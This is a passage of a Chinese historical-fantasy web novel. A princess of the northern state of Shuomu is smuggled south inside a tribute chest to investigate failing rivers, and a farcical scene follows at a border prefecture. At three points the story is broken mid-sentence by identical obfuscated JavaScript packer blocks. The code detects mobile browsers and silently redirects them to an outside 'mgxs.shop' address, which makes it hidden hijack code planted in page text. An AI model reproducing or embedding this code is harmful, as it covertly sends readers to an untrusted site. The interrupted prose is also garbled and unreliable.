那条青玉腰带鲜鸷在卢轸的帐子里见过两次,成色极好,更难得的是所有玉料全部来自同一块玉石,整个上京城怕是只有姐姐重辇那副十三环蹀躞金玉带可以媲美了。 刚才的正事还没有聊完,二人就地坐下。卢轸摸着凑过来的绣球,这是卢轸两年前从丰州带回来给鲜鸷的草原敖犬。 当时卢轸只身一人在丰州巡视,被牧民送了一只刚刚断奶的小敖犬。敖犬是牧民珍视的朋友,向来是只送不卖的。怎么把小家伙带回来可是难着卢轸了,最后只能把它塞在袍子前面,头露在外喘气。卢轸怕小家伙掉出来,又在腰间围上一圈布条固定,就这样带回了上京城。绣球这个名字是鲜鸷给它起的,如今就养在鲜鸷的宫帐附近。 鲜鸷思索一番,说道:“这么说来,事情可就有些严重了。” 卢轸点点头,“是啊,怕也只剩那一种可能了。” 姐弟俩都心照不宣地没有继续往下说。 卢轸向后仰去,躺在了草地上,“又要忙起来喽。” 4. 主动请缨 翌日,五銮殿。 比卢轸和鲜鸷更早到的是柳城大王迭赫雉羽以及族中舅翁北院枢密使乞奚闵槐,雉羽便是郁久的姐姐,如今担任北府宰相。 重辇刚经过一晚上的休养,此刻面色红润了些。见二人到来,放下手中的信纸,看了一圈下坐的人,开口道:“木叶仪刚过还在大假中,本不该叫大家来议事的,奈何事态紧急,不能过多迁延。昨儿送的札子都看过了吧,说说自己的看法。” 资历最老的闵槐率先开口,“我朔木两百年前自水系变动迁徙至此,靠着木叶神树固定水源,方可扎根繁衍,祖兴之地也得以重返生机。事关者大,臣昨日查阅水部档案,如今七浓河、向水、滦河、土河、苍耳河几条南部的水源均有异动,苍耳河以北的河流水位如今还算正常,可虽说河流之间互有联系,却也不易查起。” “姑姑怎么看?”重辇转向雉羽的方向。 “现下怪事不止水系变化这一桩,昨日木叶仪上,大君祭树的血量比以往都多,木叶树又关系我朔木境内的大小水系的稳定,臣以为此事的关节可能着落在木叶树上,至少也与木叶树相关。”雉羽斟酌着开口。 “姑姑所言甚是”,鲜鸷接上话头,“昨日阿姐和我说了件奇事,思之确与木叶树相关。” “哦,跟大家说说。”重辇扬了扬下巴,示意卢轸开口。 卢轸把在析津府的所见所闻又详细说了一遍。 闵槐听完说道:“那便真是与木叶树相关了,朔木境内不会再有别的自然之力可以一夜之间改变河道了。想来二位大王已有应对之策,烦请说与我们听听。” 鲜鸷开口道:“七浓河、向水、滦河、土河、苍耳河,五条河流从南到北排列,与去年水量最多的八月在同一地点观测到的水位相比,今年,七浓河水位下降了两寸三分,向水水位下降了一寸九分,滦河水位下降了一寸整,土河下降了八分,苍耳河下降得最多,足足有五寸。” 卢轸接着说:“苍耳河是一条支流,流量远比不上前面几个干流,人骑马便可过河,若是减少了体量相当的河水,苍耳河的水位下降就会更明显。” “大王的意思是,将苍耳河下降的水量放在南面几条大河上,约莫也是少了一寸?”闵槐摸摸胡子,若有所思地说着。 卢轸冲着闵槐抱了一拳,“正是这个理。” “如此说来,越靠近南面的河流,水量减少得越多。”雉羽听出了姐弟俩的意思,“可析津府内的高粱河如何解释,它是改道不是水位下降啊。” 卢轸笑了,“姑姑忘记了,高梁河是向南改道的。虽说都是异变,各有各的异法也是可以理解的,关键是在“南”这个方向方位上。若是这些河流因着南边变化,不论是水系向南改道抑或是南部的河流量减少,木叶树都需要更多的血量来试着抵消这些异变。如此事情便可解释的通了。” 重辇听完了全部,靠在椅背上,敲打着手指,问道:“你可是想去一趟中原。”高梁河在析津府,已快到边境了,再向南,便是中原。 卢轸站起,郑重地说道:“正是。按方才推断之言,应是南朝境内的什么物什影响到了木叶树控制水系。眼下水系异变已漫延到两百里外的苍耳河,照这个趋势,上京城旁的潢河怕也难逃其害,若任由事态发展,难保下次木叶仪不会提前,大君圣躬亦不得保全。故臣以为当务之急应派人到南朝勘察水系,整理水系升落变迁,最重要的是要找到那件物什。兹事体大,又关系着我朔木神树,乞奚氏享国民供养,勘察之事自然责无旁贷。” “没错没错!”鲜鸷大声赞同着卢轸的说法,眉飞色舞地说道“马上就到南朝皇帝的五十岁寿辰了,咱们可以把人混在贺生辰使的使团里带到南朝去,都不用再想其他法子混过关口。后天使团就要出发了,这送上门的妙计可不能错过,姐姐我愿意去中原彻查此事。” 重辇淡淡地看了一眼自告奋勇的鲜鸷说道:“先不说要不要派人去,你是一定去不了的。” 鲜鸷听了姐姐的话突然失声了,缓了一下高声质问,“为什么!” “今年五月大君生辰,南朝贺生辰使来朝,三大王巡营回来后一定要上殿围观南使送来的高翅金冠,不察之下被门槛绊了脚,怕是南使已把大王的容貌记牢了,不知道大王的画像此时是不是已经挂在南朝的秘阁之中了。”一直立于重辇旁的奇凛适时开口提醒鲜鸷他之前闹的笑话。 卢轸看着鲜鸷懊悔不已的表情,抿嘴憋笑。卢轸向来不喜各种热闹的场合,年幼时一直跟着父亲读书,封王之后,大半时间都在帮姐姐四处巡军,自是没有南使见过她。 卢轸正准备开口争取这件差事时—— “都先回去吧,”重辇叫停了这场议事,须臾又开口,“卢轸留下。” 下坐三人起身告退,重辇又一次开口,“奇凛你也先出去。” 卢轸刚站起身,看着姐姐屏退了其他人,知姐姐是要说些重要的事。 “来,坐这。”重辇朝卢轸招手,两人并肩坐在殿里的台阶上,重辇不算结实的身形硬是撑起了整个朔木。 重辇望向殿外,开口道:“你十三岁封王到如今也有四年了,呆在上京的日子满打满算都没有三个月,整个朔木换着军营州县到处跑,差事办得也都尽善尽美,从来没有让我操过心,鲜鸷跟着你也长进了不少,母亲若还在会很欣慰的。” 卢轸已经全然没了刚才看鲜鸷时的笑意,“鲜鸷他……虽然没说,但我知道,他心里不好过,父亲叮嘱我不要把那件事告诉他……姐姐,我清楚自己的责任,凡事皆需全力而为。” 重辇认真地看着妹妹:“当初把漆水这个封号给你,确实是对你寄予厚望,可没想过你会……这么累,父亲几次找到我,说希望你歇一歇。我每次还未开口,就被你打马虎遮掩过去。若是得了个能臣却少了个妹妹,当初宁可换个封号。” 朔木的勋爵制度没有中原王朝那么复杂,单从王爵来说,不分一字亲王或二字郡王,不论什么大小国之分,也不歧出生地位,能者得之,封号虽不世袭,但是可以拥有能够传之后代的头下军州。 王爵封号大多选自朔木重要的山川河流,如“漆水”、“饶乐”、“混同”;或大郡州县,如“柳城”、“东平”。除却像“羽陵王”这样的特殊封号,“漆水王”是其中最重要的一个。 漆水河是乞奚族祖栖之地,那条墨玉般的河流养育了乞奚人的先祖。延寿十年的春捺钵上,卢轸用自己训练的矛隼射玉代姐姐捕到了象征着国运兴隆的头鹅。“头鹅宴”上,重辇不顾大臣的反对,册封卢轸为“漆水王”。 十三岁的漆水王,朔木之前不曾有过。卢轸自然知道这个封号的分量,获封之后一刻不敢怠惰,怕有人说自己才不堪任,更怕有人说姐姐识人不明。到如今,这根弦已经绷了整整四年了。 卢轸安静地等着姐姐接下来的话。 “这次让别人去吧,你留在上京休整,若是嫌着无聊,我给你派些轻松点的差事或者让鲜鸷陪你去打猎,”重辇顿了顿,“就当陪陪我和鲜鸷,也陪陪父亲和姑姑。” “姐姐,可是,我是最合适的人啊,我……我,我……”卢轸在听到前半句时,已经想好了一百个理由来说服姐姐派自己去中原,可是后面半句一出来,饶是能言善辩如卢轸,也多说不出来几个字了。 “我知你自幼跟着父亲习读诗文,登高能赋,也知你在军营里摸爬滚打长大,一身的好武艺,亦知你察查审计,细致入微,公文账簿都能看过来,从未出错。”重辇肯定着妹妹的长处,却也没有松口。 “但是,这次就让别人去吧。”重辇站起身,拍了拍卢轸的肩膀。 卢轸失魂落魄地从宫中出来,站定思忖片刻,翻身上马疾驰而去,却没有回北边的宫帐。 汉城,辅兴坊。 郁久看着来人,开口是一如既往的温和:“可是有事?找人传信就好,怎么自己跑来了。” 卢轸也顾不得行礼了,开门见山道:“是父亲跟姐姐说的吗?之前不论我所求所请何事,姐姐都会应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488253|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允。可是这次水系异变,关系重大,需往中原秘密调查,非乞奚氏内亲近可靠又有能力的人,姐姐怎能派去?明知我是最合适的人选,姐姐断然没有理由选择别人。父亲是什么时候知道的?又是什么时候跟姐姐说的?” 郁久放下书,头疼没有瞒过心思敏捷的女儿。他确实在昨天卢轸和鲜鸷走后知晓了水系变动的事情,今早赶在姐姐和女儿入宫之前,让人给重辇送了封信。这是出自他的私心,不想让女儿太累,也不想让女儿去中原之地涉险。 卢轸看父亲没有说话,知道是自己猜中了。 于是继续说道:“父亲,国事面前无家事,先秦吴国棠邑人专诸为帮阖闾登上王位,自告奋勇刺杀僭越篡立的吴王僚,其母虽知儿子会有去无回,却也愿意全其气节,事后鱼肠之剑闻名寰宇,连太史公都为其列传。这是小时候父亲教我的,为何如今我却做不得了。” 郁久慢慢开口,“你自幼懂事,读书习武从不让人操心,之前朝中同僚打趣都说羡慕咱家,三个孩子个顶个的出色。先头你姐姐交代的事你都办得很好,可是如今这件事不一样,中原版图虽不比我们辽阔,却也有着二十四路十四府几百州县,三千万户人口,水系更是盘根错节,不计其数。不是像你往日去巡营那样,人家看到你的符牌就主动把文书搬出来让你查的。” “父亲,我知您反对的缘由,茫茫九州寻一物什谈何容易,可我心中已经有了对策,还请父亲代我跟姐姐陈情。”卢轸跪下,向父亲郑重地说道。 “我问你,你有几成把握?”郁久追问道。 卢轸诚实地答道:“约莫七成。” 郁久拍了拍桌子,语气严肃起来:“那便是还有三成的事情你也拿不准,你当南朝皇城司的人都是吃干饭的吗?” 卢轸掷地有声地反驳:“父亲,谋事在人,成事在天,便是随便换个谁来也不敢说自己一定能全须全尾地从中原回来。我朔木迁徙至此二百余年,全仰仗着木叶树才免去这许多天灾饥荒。如今木叶树出了问题,若连大君最信任的妹妹都顾虑良多,又何尝能期许他人为国家效命。” 郁久被卢轸的话堵住了,他知道卢轸说的是对的。 郁久看着卢轸和申遥那双相似的眉眼,开口说道:“可……,此事终归凶险,你是三个孩子里最像你母亲的,若你再有个什么三长两短,你让我下去怎么有脸见你母亲。” “圣人不利己,忧济在元元。姐姐为着朔木呕心沥血,我想要帮她。父亲,若是母亲在,也会同意我去的。”卢轸说完,朝父亲磕了一个响头。 郁久看着跪在那里的女儿,良久,嗓子微哑地说道:“起来吧,我随你一同入宫。” 卢轸静静地站在五銮殿外等候,不知道父亲和姐姐在里面说些什么。 过了会儿,侍从宣卢轸进殿。 卢轸进殿看向父亲,见父亲微微点头,便知此事已被转圜。刚想开口跟姐姐说些什么,阶上重辇的声音响起。 “旨意——” 卢轸撩开衣角,单膝下跪,等待着自己的任命诏令。 “漆水王卢轸,速归宫帐就寝。” “啊?”卢轸疑惑地抬头看向姐姐。 “明日巳时宫中议事。” 这下卢轸听懂了,“是!臣这就回去睡觉。” 一日后,诏令下达,北院大王乞奚审默任西北路招讨司招讨使,漆水王乞奚卢轸任西北路招讨司招讨副使,统领阻卜、突吕不、奥衍、楮特等部族军、镇州建安军以及防州、维州、招州兵马,下辖西北路十二班军使司,巡防军事,即刻动身前往可敦城上任。 与此同时,柳城大王雉羽为贺生辰国信正使,南院宣徽使刘义符为贺生辰国信副使的朔木使团从上京城出发,押着浩浩荡荡的礼车,一路向南。 夜半子时,西行至庆州城外扎营的军队中,一个人影在审默调离守卫后悄悄钻出帐篷,翻身上了早早备好的马匹,马上的人向审默行了一礼,朝南方疾驰而去,不一会儿就消失在茫茫夜色之中。 5. 初入敌国 卢轸蜷缩在一个漆木大箱子里,四下不见亮光,只能听着外面族人的交谈声来判断使团到了何处。 早在三日前卢轸就赶到了位于边境线旁的新城,一人一马轻装上阵,虽然从庆州城那里多绕了些路,却也比姑姑雉羽率领的使团大部队快了不少。在一家小客栈里猫了两天没出门,卢轸的心里不停回想着那天和姐姐聊的南朝之事。 南朝国号为“易”,听说是取自《周易·系辞传》里“生生之谓易”的含蕴。如今的易朝皇帝季祉年近五十,登基已有二十年,关系较近的皇室成员比较少,也称得上是人口简单:一个异母弟代王季祥,以及两个皇子,萧皇后所出的太子季浚及益王季泓。 现在的易朝朝堂上,同中书门下平章事有两人:两朝老臣黄詹林年事已高,听说已快要致仕,另一人王玠倒是正值当打之年。参知政事也是两人,吕恩辅与徐寿,三司使梁擎之,枢密使韩协……从表面上看,朝堂一片祥和之景。 木叶树之于河流的关系,在易朝不是秘密,但若想在其中做上一些手脚,非等闲之辈不能为。这些人私下的派别、纠葛必不如台面上这般浅显,到汴京之后得快些理清这群人的关系,卢轸心想。 “木叶树已暂时无碍,水系之事盘根错杂,不要着急出手,此去注意隐匿身份,低调行事,不到万不得已不可暴露。虽说两国私下互有派遣谍者刺探情报之举,但你一个敌国大王深入易朝腹地,若被发现,便是送给了对方发兵的理由。室韦叛乱刚刚平息一年,若再起战事,只怕百姓嗟怨,切记切记。”姐姐重辇的话又萦绕在卢轸心头,卢轸不由得再次推敲起自己编造的身份。 终于在第三日午时,使团到达了新城,卢轸和雉羽顺利接上了头。 卢轸被安排进了那口早就准备好的大箱子,和其他一干礼箱一样被抬上了马车。随行的官员都没有在意那口朴素的大箱,以为是贺岁礼品又加了些,只是觉得今天路上中途停下休息的次数变多了些。 卢轸在心中默默算着时间,从未时末出城,如今约莫走了一两个时辰,应该是快到了。 易朝,白沟驿外。 两个小官模样的人立着,绿袍人来回踱步,抬头看了一眼西斜的太阳:“这朔木人怎么还没来,如此愆期稽留,实在无礼。” 青袍人对绿袍人拱了拱手,答道:“大人稍安勿躁,已经遣人到前面看了,应该快到了。”说完,还殷勤地递上了一块帕子。 青袍人继续说:“大人,听说这次朔木来的正使是他们皇帝的姑姑。” 绿袍人接过帕子,擦了擦官帽下的汗珠,说道:“文书上是这样写的,他们朔木是女人当家,如今又派了个女人来,听说还是个什么大王的。” 青袍人笑了笑,接着上官的话继续说着:“他们那的皇帝,汉名据说是叫姬式的,好像还有几个妹妹还是弟弟,汉名也不知道叫甚,总之是姓姬的,只听说他们那里平时都是叫着朔木名的。” 绿袍人似乎对这个话题没了兴趣,向后招呼着馆驿,“再使人朝前探探。” 话音刚落,之前派出去的士兵回来了。 “大人——,朔木使团还剩三里地就到渡口了。” “快快快,回去禀报两位接伴使大人,准备好仪仗。”绿袍人对青袍人下了命令,青袍人扶着自己的官帽,忙不迭地朝驿馆跑去。 白沟驿馆内,两位接伴使知制诰林琦和入内内侍省押班白安吉正对坐着饮茶交谈。听闻下属通禀,急忙起身相迎。 缩在箱子里的姬某,忽然想打个喷嚏,刚仰头起了个势,忙按住自己的嘴巴压下去了,也不知道鲜鸷那个小子又念叨了什么。 奇首大君建国后,重用汉人,尊崇汉制。汉臣联名上奏奇首大君,称朔木抚有松漠,胡汉一家,若宣称汉号,可彰文治,可安军民,亦可示天下以无私。奇首大君照准,从上古八大姓里取了“姬”姓作为自己这一支的姓氏。只是这种汉名一般只用于正式的国事文书或接见外国使臣的特殊场合,且朔木国内都更习惯于称呼自己的本名,故而南朝所知甚少。 卢轸的本名为母亲所起,出生那天正巧南方朱雀七宿中最末一宿的轸宿星在黑夜里异常闪耀,《尚书孔氏传》中,孔安国注“卢,黑也”,便是卢轸名字的由来。正巧这次南下,卢姓亦为中原大姓,自己平日不曾参加外交朝会,本名不为南朝人所知,卢轸便也没再给自己起个新的名字。 又在箱子里晃荡了一会儿,卢轸听到姑姑在外面提醒大家整理衣冠仪仗,便知要到白沟驿了。 知制诰林琦和入内内侍省押班白安吉带着人马在白沟驿前列队,林琦虽为接伴正使,却对身为副使的白安吉恭敬有加,两人立在马上相谈甚欢。 “瞧,林大人,人来了。”白安吉望着越来越近的异国队伍,提醒着林琦。 “哈哈,大人真是好眼力呀。”林琦笑着回应。 两人下马,向前几步,迎上同下马走来的雉羽和刘义符。 “臣朝请郎、充集贤殿修撰、知制诰、云骑尉、接伴正使林琦——” “臣拱卫大夫、入内内侍省押班、勾当皇城司、带御器械、接伴副使白安吉——” “——奉我皇圣旨,迎接贵使。乍远朝聘,舟车劳顿,二位贵使辛劳了。”两人向着雉羽和刘义符拱手行礼,分别报完自己的名号后,由林琦问候使团。 雉羽二人还礼,“无劳,皇帝圣躬万福?” “圣躬万福。北朝大君圣躬万福?”林琦有来有往地回敬了一句。 “圣躬万福。”雉羽亦回道。 “使团来时可还顺利,路上莫不是遇上了麻烦事?陛下旨意,使团来贺圣诞为两国邦交深化之举,需得以礼相待,行进途中有何不便,可遣人先来告知,情理之内,所求皆应。”白安吉开口,语气虽是温和客气,却也点了朔木使团的后期失礼。 雉羽客客气气地解释道:“有劳大人挂念,南朝风林俊秀,路上不免贪眼,只是使团人数规模皆有定制,一行车架辎重、马匹牲畜众多,驱使不易,劳烦贵使多候了。” 卢轸藏在箱子里,听着外面没有意义的礼节性对话,只希望姑姑快些结束话头,她快要憋死了。终于等两拨人曰完,又饮下易朝皇帝的御赐美酒,马车再次动了起来。 林琦引着雉羽向驿馆内走去。 双方已正式见过礼,林琦再开口也没那么拘谨了,“依着国书所写,贵使来我朝贺陛下圣诞,一行共一百二十三人。这白沟驿为两国南北边境上最大的一座驿馆,陛下命我等在此迎候贵使,想来贵使对这流程也不陌生。” “啊,这边走,请……驿馆内的厢房都已准备妥当,贵使可使人先卸下礼箱搬到院中,吃食酒水稍后便传驿丞摆上。臣只负责一路上与州郡联络设宴相迎的事,这是陛下身边的白押班,负责贵使团的饮食供需,若贵使有何短缺之处,皆可与押班大人说。” “有劳林大人、白大人费心准备了。”雉羽行礼致谢。 “还有一事,不知贵国这次朝贺的礼单可有备好,咱们在进汴京之前最好先通通气,好叫都亭驿那边提前准备着。” “望贵使体谅,此次为贺贵国皇帝陛下五十圣诞,大君亲命礼官筹备,商讨出来的礼品与常岁不同,样式、数量繁多,多添了好些箱子,为防缺漏今晚我让手下再清点一次,明日便可将核对后的礼单交予贵使,还请贵使稍候一夜。” 林琦听了雉羽的话,松了口气,自己第一次选上这差事,虽为正使,也只想着能和和气气地把事情办完。按照拟定的流程,应是今天就交接礼单,但听雉羽这么一解释,林琦便也没有强求:“如此甚好,烦请贵使清查了,只是天色渐暗,使团可否需要额外的烛火……” 雉羽客气的笑容又加了两分:“您可太客气了,大人身为知制诰,起草诏令,礼仪烂熟于心,督促置备的物件必然是周到的,若有额外所需,我们再差人去请。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488254|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一番交谈后,林琦带人告辞。 “跟大家说,把礼箱抬进来,等一会吃完饭开始清点。”卢轸对刘义符说道。 入夜,朔木使团开始清点礼品,登记礼单。打开的礼箱从内院一直堆到了外院,雉羽的内院只留了五个得力的副官,其余人全在外院忙乎。 雉羽环顾小院一圈走进屋内。屋内墙角便放着那口大箱子。雉羽在靠近墙角的桌子上点燃了一支小蜡烛,昏黄的烛光勉勉强强够到了墙角。 “咚、咚咚、咚咚、咚咚。”一短三长的敲击声,正是出发前,雉羽与卢轸商量好的开箱暗号。 雉羽打开箱子上的铜锁,抬起箱盖,里面正是已经换上了夜行衣的卢轸。 卢轸却没有出来,躺在箱子里大口大口地吸了两口气,平稳呼吸后朝着姑姑小声说道:“姑姑,可真是差点憋死我了。” 雉羽一边抬头看向外面的院落,一边说着:“快伸展伸展。” 卢轸点头,把腿伸出箱子外面直着抻了几下,腿蜷着这么长时间,都有些软了,现在起身怕是要以头抢地耳。 雉羽坐回桌边,手持毛笔,从窗外看隐隐约约像是在册子上涂写一般,实则连墨都没有蘸,只是在白纸上做做样子。礼单是早就准备好的,怎么可能出错。 雉羽没有抬头,手上动作不停,对旁边的卢轸说着:“闭上眼养神吧,现在还算安全,等丑时他们睡熟了之后再走。” “好。”卢轸轻轻应着,就这样双腿架在箱沿上,有一搭没一搭的晃着。 白沟驿公事房。 绿袍人端着一盏茶走进上官的房间,“大人,那边的动静还没停呢,卑职刚才装作不经意的从院门口路过了一下,可是有不少好东西,箱子都摆到了内院。” “看来这次他们带的东西真还不少,怪不得这么小心,还要再开箱检查一遍。”林琦点了点头,抿了一口茶说道,“行了,一会儿没有异常便不用来报了,天色晚了,本官要歇息了。” “是,下官告退。”绿袍人说完便退了出去。 丑时,四下寂静。 雉羽拍了拍卢轸架在箱沿上的腿,上半身还在箱子里的卢轸立刻睁开了眼,眼神一片清明。 “到时候了,一切按当时和大君商量好的计划行事,开封府外会有人接应你。”雉羽叮嘱着卢轸,末了又添上一句,“注意安全,等你回家。” 外院那边的清点还在继续,卢轸背上系了个不小的包袱在内院亲信的掩护下轻轻翻过墙头,像个猫一样,悄声往后面的密林跑去。 黑夜里,一个白影一直注视着卢轸,见她跑向了林子,便振翅飞起跟了上去。 这处密林本是易朝为了防御朔木骑兵南下所置,如今正好可以隐藏卢轸的踪迹。可是卢轸并没有就此离开,而是藏在树林里观察着什么。 “喔哦——喔哦——”短促的两声鸟叫从树林深处传出,像是噪鹃的声音,叫声寻常,无人在意。 白沟驿马厩里,一匹黑马和这次朔木带来的二百匹散马一起圈着,耳朵在头顶来回翻转,像是听到了什么感兴趣的声音。黑马掂着步子来到栅栏前,忽地起跳,越过了栅栏,正好趁着易朝士兵换班的空当跑进密林了。 卢轸在密林深处接到了乌雅。 此次,朔木赠与了易朝二匹鞍辔马和二百匹散马,乌雅在新城摘下马笼头和鞍子后,被雉羽安排进了散马的队伍里。使团到时,日已薄于西山,来不及点查马匹的数量,便把散马和驮马以及使团自用的马都一股脑赶进了马厩。 傍晚,雉羽的副官主动帮驿站军士给马匹添草料,偷偷给乌雅的四个蹄子上面套了一层厚布,是以刚才乌雅跑出来时,蹄子上的马蹄铁也没有发出什么声响。 卢轸从包袱里拿出乌雅的鞍子和笼头,快速装上后,翻身上马。包袱比刚才小了不少,也轻巧了许多。轻轻夹了一下马腹,一人一马一隼渐渐远离了白沟驿。 6. 霸州风波 霸州知州高确最近的心情着实不错,天朗气清,家里又新添了一个大胖小子,边关也无战事,日子甚是悠闲。 听说隔壁的雄州为帮着汴京来的两位接伴使在白沟驿接待朔木使团,一州上下忙得人仰马翻。还有贝州,正好在朔木使团南下进京的路上,上面下令要在贝州设宴招待使团,怕是贝州知州已经忙得脚不沾地了。 霸州虽也在南北两国边境线旁,却是比雄州向东偏了几十里,这种迎接使团的繁琐之事确实也落不到高确头上。 霸州州衙内,高确躺在藤椅上,一手拿着半块雍慎卤鸡,一手端着刚泡好的洪州双井,闭眼品茗半刻,直呼“快哉快哉!” 吐完最后一根鸡骨头,便到了卯时日始,是用功的时候了,高确觉得自己实在是勤政有为。 “来人——”高确擦了擦嘴,高声呼唤。 “大人有何吩咐?”小厮应声而至。 高确从藤椅上起身,撑着腰说道:“把架阁库里分拣好的文书拿到签押房去,本官要看!” “是,小的这就去办。”小厮领命而去。 霸州通判杨仁佐最近的心情也很不错。本州下辖三个县的兵民、钱谷、户口、赋役、狱讼全部清查了一遍,钱粮也多了,军民也全了,这次磨勘必能评个上优。杨仁佐步履轻快地来到州衙画卯时,迎面碰上了知州高大人身边的小厮。 杨仁佐略带疑惑地问道:“大人今日怎么来得这样早?” 小厮也很高兴,高确刚刚赏了他二两银子:“回杨大人的话,大人昨晚新得了一位麟儿。” 杨仁佐作恍然大悟状:“哦哦,那这可是件大喜事,大人高兴坏了吧。”这小厮也没说到点子上啊。 小厮继续说道:“可不是嘛,大人昨晚高兴得一夜没睡,今日天不亮就来了府衙,一口气吃完了半只卤鸡,现下说要看公文呢。” 杨仁佐作真恍然大悟状,刚想再说下值之后要去大人家登门贺喜,一声大叫就从签押房里传出来了。 “啊——”,是知州高确的声音。 两人听着不对,赶忙朝签押房走去。 杨仁佐先到了半刻。签押房内,高确双手颤抖着拿着一份邸报,瞪大了眼睛,刚刚发出惊叫的嘴巴还没来得及合上,像是看到了什么极其恐怖的文字。高确晃了晃身子,终于没撑住往后瘫坐在了红木椅子上。 “大人,出什么事了吗?”杨仁佐小心意义地问道。 高确回过神来,一把抓起邸报扔向了杨仁佐:“杨仁佐,你是怎么办的差事?!” 邸报轻飘飘的一张纸,没被扔多远,翻转腾挪一番后,落在杨仁佐脚前不远处的地砖上。 高确继续怒吼道:“这份邸报上说要求各州县在十月初五之前把本州的考课状送到都进奏院,今日都初一了!初一了!!你为什么把他们分在暂缓公事的架子上。如今还剩四天,四天!我状子都还没开始写,没按要求交上考课状是要被罚俸罢官的,你是要害死我吗!” 杨仁佐瞄了一眼地上邸报的封皮,快速回想了一番道:“大人息怒,这份邸报是八月二十日到州衙的,那天卑职正在整理归类文书,您正好来了一趟架阁库,看到了这份邸报,您当时还说,‘往常朝廷都是十月底才催缴考课状,怎的这次八月就到了,先放一旁吧’,卑职这才放在了暂缓公事那里。” 高确差点从椅子上跳起来:“你的意思是这是本官的疏忽吗?!” “卑职不敢……”杨仁佐不停地告饶,心里悔恨气恼得紧,恨不得现在就抽自己两个耳光。百密一疏,自己当时怎么就没打开细看一下呢。果然,依着这个草包行事,准没有好结果。自己在这熬了一年了,州县里大大小小的事务全揽到自己的身上,生生累出了许多病来。要不是看重高确在汴京有人,希望他能帮自己要来一份保举状,自己好歹也是一州通判,可以直接向陛下奏报知州言状,何至于混成现在这副狗模样。 抱怨归抱怨,办法还得想,若是高确被降罪,杨仁佐自己也跑不了。 这次催缴的邸报怎么会来得这么早呢?十月初五,十月,十月,对了,十月!杨仁佐想明白了。 “大人,当务之急是先把考课状赶出来,卑职日前已经把三个县的情况都清查完了,大人按照往年的惯例仿写一份即可,这次应是那些京官们想要在陛下五十寿诞前交一些政绩,这才提前了两月下发邸报。为着讨陛下欢喜,评定必然比往日宽松许多。大人先把状子赶出来,如何按期送至都进奏院便还可谋之。” 高确拍拍官帽,手指向小厮吩咐道:“对对对,快,快把去年考课状的录本找出来。” 高确知道只靠自己,完成不了状子,当下缓和神色对杨仁佐道:“杨大人,霸州三县的民生粮赋你最是熟悉,你办事本官一向放心,你先照着往年的录本写一份,本官再誊抄。” 杨仁佐心里暗骂一声,接过小厮找到的录本,开始斟酌措辞。高确则烦躁地在屋子里一圈一圈地来回走着。 杨仁佐对州务烂熟于心,很快便写完了考课状,交给一旁等候已久的高确。 高确压着状纸认真抄写,一手好字是做文官的基础,高确虽然不常正儿八经地办公,看家本领却是没丢。 “四善三最”不一会儿就抄到了最后的“抚养之最”,眼看着还有两列字就完工了,州衙门口似是起了什么骚动。未几,一连串人声在州衙门口响起,爆竹似的,比清晨高确的那声大叫过犹而无不及。 高确明显被喧哗声影响到了,手腕一抖,鼠须笔顿了一下,状纸上便多了一个长墨点,在一众工整小楷里分外扎眼。高确刚才就听到了门口的喧闹声,只是想先一口气把状纸抄完,便也顾不上理会。 眼见状子污了一个点,已然是不能用了。高确刚缓下来的脸色又黑了。 “是哪个不长眼的浊物,没看到本官在忙公事吗,耽误了本官的时间,马上要了你的鸟命,咳咳咳……。”高确气急,抓起差一点就写好的状纸,揉成团,奋力扔向门口,没成想早上吃的卤鸡有点咸,嗓子干哑,还没骂完就咳了起来。 小厮赶快近前奉上茶水,高确喝了一大口茶,把茶盏朝桌案上重重一放,继续高声喊道:“到底是谁在州衙门口喧哗,没听到本官在骂吗,还不快滚进来回话!” 一个人佝偻着腰快步跑进来,大声喊着:“大人恕罪,乃是一不良民闹事,卑职这就遣人轰了他。” 高确等着看脸认人,却不想来人只顾告饶,一直未曾抬头。 高确拍桌子骂道:“你是属王八的吗?一直缩着不抬头,跟上峰说话之前要先报官职,这点规矩还要本官教你吗?” 来人终于抬头:“是是,大人恕罪,下官文安县令杜霖,门外乃是下官县治内一不良民,为着些小事竟跑到州衙门口叫嚣,妨碍了大人办公,下官这就叫人把他轰走。” “那还不赶快去办!” “是是是。”杜霖说完就跑了出去。 高确重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488255|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取了一张纸,用镇纸压好,还没落笔,州衙门口的声音又响了。 “学生……河北……霸……安县……,姓栾……见……。” “闭嘴……快……大胆……走” 高确把笔扔到一旁,对小厮吩咐道:“去把杜霖喊进来!” 高确这次提前喝了一大口茶。 杜霖跟在小厮后面进来,高确看到他就来气:“一介小民,当街咆哮州衙,如此简单的事你都办不好,本官要你有何用!” 